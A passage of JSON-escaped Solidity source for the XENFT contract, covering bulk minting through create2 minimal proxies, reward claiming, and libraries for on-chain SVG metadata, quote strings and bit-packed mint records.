bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 